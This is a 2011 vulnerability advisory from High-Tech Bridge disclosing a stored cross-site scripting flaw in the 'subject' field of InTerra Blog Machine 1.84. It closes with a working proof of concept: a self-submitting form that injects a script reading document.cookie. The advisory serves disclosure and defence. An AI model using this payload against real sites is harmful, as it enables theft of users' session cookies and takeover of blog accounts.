Vulnerability ID: HTB22931 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_interra_blog_machin e.html Product: InTerra Blog Machine Vendor: InTerra Blog Machine Team ( http://code.google.com/p/interra/ ) Vulnerable Version: 1.84 and probably prior versions Vendor Notification: 31 March 2011 Vulnerability Type: Stored XSS (Cross Site Scripting) Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "actions/add.php" script to properly sanitize user-supplied input in "subject" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/POST_URL/edit/" method="post" name="main" enctype="multipart/form-data"> <!-- POST_URL like "2011/03/31/post_url" --> <input type="hidden" name="subject" value='post title"><script>alert(document.cookie)</script>'> <input type="hidden" name="content" value='content'> <input type="hidden" name="date[Date_Day]" value="31"> <input type="hidden" name="date[Date_Month]" value="03"> <input type="hidden" name="date[Date_Year]" value="2011"> <input type="hidden" name="time[Time_Hour]" value="13"> <input type="hidden" name="time[Time_Minute]" value="59"> <input type="hidden" name="comments" value="1"> <input type="hidden" name="section" value="0"> <input type="hidden" name="sectionNewName" value=""> <input type="hidden" name="sectionNewUnix" value=""> <input type="hidden" name="sectionNewHidden" value="0"> <input type="hidden" name="replicate" value="1"> <input type="hidden" name="keywords" value=""> <input type="hidden" name="edit" value="POST_ID"> </form> <script> document.main.submit(); </script>